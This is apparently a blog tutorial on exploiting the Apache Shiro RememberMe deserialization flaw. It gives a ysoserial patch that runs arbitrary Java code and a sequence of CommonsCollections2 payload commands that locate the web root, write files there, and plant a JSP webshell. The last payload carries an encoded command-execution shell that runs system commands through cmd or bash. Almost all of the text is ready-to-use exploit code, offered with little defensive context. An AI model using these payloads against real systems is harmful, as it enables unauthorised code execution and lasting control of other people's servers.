Exploiting Shiro RememberMe Deserialization for Webshell Creation

Exploiting Shiro RememberMe Deserialization for Webshell Creation

Modifying ysoserial for Java Code Execution Payloads

The default implementation in ysoserial can be enhanced to support direct Java code execution. Below is the modified code that checks if the command parameter starts with "code:" to determine whether to execute a system command or Java code directly:

String executionCode = "";
if(!command.startsWith("code:")) {
    executionCode = "java.lang.Runtime.getRuntime().exec(\"" + 
    command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\"") + "\");";
} else {
    System.err.println("Java Code Mode: " + command.substring(5));
    executionCode = command.substring(5);
}

After making these modifications, recompile ysoserial using Maven to generate the updated JAR file.

Discovering Web Application Path

To exploit the vulnerability, first determine the web application's root path by executing the following payload:

java -cp ys.jar ysoserial.exploit.JRMPListener 65005 CommonsCollections2 "code:String appPath = Thread.currentThread().getContextClassLoader().getResource(\"../../\").getPath();String targetFile = appPath + \"/path_info.txt\";java.io.FileOutputStream fos = new java.io.FileOutputStream(targetFile);java.io.OutputStreamWriter osw = new java.io.OutputStreamWriter(fos);osw.write(appPath);osw.close();"

Writing Files to Web Directory

Once the path is identified, you can write files to the web directory using a similar payload structure:

java -cp ys.jar ysoserial.exploit.JRMPListener 65005 CommonsCollections2 "code:String appPath = Thread.currentThread().getContextClassLoader().getResource(\"../../\").getPath();String targetFile = appPath + \"/web_directory_info.txt\";java.io.FileOutputStream fos = new java.io.FileOutputStream(targetFile);java.io.OutputStreamWriter osw = new java.io.OutputStreamWriter(fos);osw.write(appPath);osw.close();"

Deploying a Webshell

To deploy a functional webshell, encode your malicious JSP code in Base64 and use the following payload:

java -cp ys.jar ysoserial.exploit.JRMPListener 65005 CommonsCollections2 "code:String appPath = Thread.currentThread().getContextClassLoader().getResource(\"../../\").getPath();String shellPath = appPath + \"/malicious.jsp\";String encodedShell = \"\";org.apache.commons.codec.binary.Base64 decoder = new org.apache.commons.codec.binary.Base64();String decodedShell = new String(decoder.decodeBase64(encodedShell.getBytes()));String finalShell = java.net.URLDecoder.decode(decodedShell, \"UTF-8\");java.io.FileOutputStream fos = new java.io.FileOutputStream(shellPath);java.io.OutputStreamWriter osw = new java.io.OutputStreamWriter(fos);osw.write(finalShell);osw.close();"

Creating a Command Execution Webshell

For a more powerful shell, deploy a command execution webshell. The following example creates a JSP shell that can execute system commands:

java -cp ys.jar ysoserial.exploit.JRMPListener 65005 CommonsCollections2 "code:String appPath = Thread.currentThread().getContextClassLoader().getResource(\"../../\").getPath();String shellPath = appPath + \"/cmd_shell.jsp\";String encodedShell = \"JTNDJTI1QCUyMHBhZ2UlMjBwYWdlRW5jb2RpbmclM0QlMjJ1dGYtOCUyMiUyNSUzRSUwQSUzQyUyNUAlMjBwYWdlJTIwaW1wb3J0JTNEJTIyamF2YS51dGlsLlNjYW5uZXIlMjIlMjAlMjUlM0UlMEElM0NIVE1MJTNFJTBBJTNDdGl0bGUlM0VKdXN0JTIwRm9yJTIwRnVuJTNDL3RpdGxlJTNFJTBBJTNDQk9EWSUzRSUwQSUzQ0gzJTNFQnVpbGQlMjBCeSUyMExhbmRHcmV5JTNDL0gzJTNFJTBBJTNDRk9STSUyME1FVEhPRCUzRCUyMlBPU1QlMjIlMjBOQU1FJTNEJTIyZm9ybSUyMiUyMEFDVElPTiUzRCUyMiUyMyUyMiUzRSUwQSUyMCUyMCUyMCUyMCUzQ0lOUFVUJTIwVFlQRSUzRCUyMnRleHQlMjIlMjBOQU1FJTNEJTIycSUyMiUzRSUwQSUyMCUyMCUyMCUyMCUzQ0lOUFVUJTIwVFlQRSUzRCUyMnN1Ym1pdCUyMiUyMFZBTFVFJTNEJTIyRmx5JTIyJTNFJTBBJTNDL0ZPUk0lM0UlMEElMEElM0MlMjUlMEElMjAlMjAlMjAlMjBTdHJpbmclMjBvcCUzRCUyMkdvdCUyME5vdGhpbmclMjIlM0IlMEElMjAlMjAlMjAlMjBTdHJpbmclMjBxdWVyeSUyMCUzRCUyMHJlcXVlc3QuZ2V0UGFyYW1ldGVyJTI4JTIycSUyMiUyOSUzQiUwQSUyMCUyMCUyMCUyMFN0cmluZyUyMGZpbGVTZXBhcmF0b3IlMjAlM0QlMjBTdHJpbmcudmFsdWVPZiUyOGphdmEuaW8uRmlsZS5zZXBhcmF0b3JDaGFyJTI5JTNCJTBBJTIwJTIwJTIwJTIwQm9vbGVhbiUyMGlzV2luJTNCJTBBJTIwJTIwJTIwJTIwaWYlMjhmaWxlU2VwYXJhdG9yLmVxdWFscyUyOCUyMiU1QyU1QyUyMiUyOSUyOSU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGlzV2luJTIwJTNEJTIwdHJ1ZSUzQiUwQSUyMCUyMCUyMCUyMC3RGVsc2UlN0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBpc1dpbiUyMCUzRCUyMGZhbHNlJTNCJTBBJTIwJTIwJTIwJTIwJTdEJTBBJTBBJTIwJTIwJTIwJTIwaWYlMjAlMjhxdWVyeSUyMCUyMSUzRCUyMG51bGwlMjklMjAlN0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBQcm9jZXNzQnVpbGRlciUyMHBiJTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwaWYlMjhpc1dpbiUyOSUyMCU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMHBiJTIwJTNEJTIwbmV3JTIwUHJvY2Vzc0J1aWxkZXIlMjhuZXclMjBTdHJpbmclMjhuZXclMjBieXRlJTVCJTVEJTdCOTklMkMlMjAxMDklMkMlMjAxMDAlN0QlMjklMkMlMjBuZXclMjBTdHJpbmclMjhuZXclMjBieXRlJTVCJTVEJTdCNDclMkMlMjA2NyU3RCUyOSUyQyUyMHF1ZXJ5JTI5JTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdEZWxzZSU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMHBiJTIwJTNEJTIwbmV3JTIwUHJvY2Vzc0J1aWxkZXIlMjhuZXclMjBTdHJpbmclMjhuZXclMjBieXRlJTVCJTVEJTdCNDclMkMlMjA5OCUyQyUyMDEwNSUyQyUyMDExMCUyQyUyMDQ3JTJDJTIwOTglMkMlMjA5NyUyQyUyMDExNSUyQyUyMDEwNCU3RCUyOSUyQyUyMG5ldyUyMFN0cmluZyUyOG5ldyUyMGJ5dGUlNUIlNUQlN0I0NSUyQyUyMDk5JTdEJTI5JTJDJTIwcXVlcnklMjklM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBQcm9jZXNzJTIwcHJvY2VzcyUyMCUzRCUyMHBiLnN0YXJ0JTI4JTI5JTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwU2Nhbm5lciUyMHNjJTIwJTNEJTIwbmV3JTIwU2Nhbm5lciUyOHByb2Nlc3MuZ2V0SW5wdXRTdHJlYW0lMjglMjklMjkudXNlRGVsaW1pdGVyJTI4JTIyJTVDJTVDQSUyMiUyOSUzQiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMG9wJTIwJTNEJTIwc2MuaGFzTmV4dCUyOCUyOSUyMCUzRiUyMHNjLm5leHQlMjglMjklMjAlM0ElMjBvcCUzQiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMHNjLmNsb3NlJTI4JTI5JTNCJTBBJTIwJTIwJTIwJTIwJTdEJTBBJTUlM0UlMEElM0MvUFJFJTNFJTBBJTIwJTIwJTIwJTIwJTNDJTI1JTNEJTIwb3AlMjAlMjUlM0UlM0UlMEElM0MvUFJFJTNFJTBBJTNDL0JPRFklM0UlMEElM0MvSFRNTCUzRQ==\";org.apache.commons.codec.binary.Base64 decoder = new org.apache.commons.codec.binary.Base64();String decodedShell = new String(decoder.decodeBase64(encodedShell.getBytes()));String finalShell = java.net.URLDecoder.decode(decodedShell, \"UTF-8\");java.io.FileOutputStream fos = new java.io.FileOutputStream(shellPath);java.io.OutputStreamWriter osw = new java.io.OutputStreamWriter(fos);osw.write(finalShell);osw.close();"

Tags: Shiro deserialization vulnerability webshell Penetration Testing Java Security

Posted on Sun, 26 Jul 2026 16:34:58 +0000 by philweb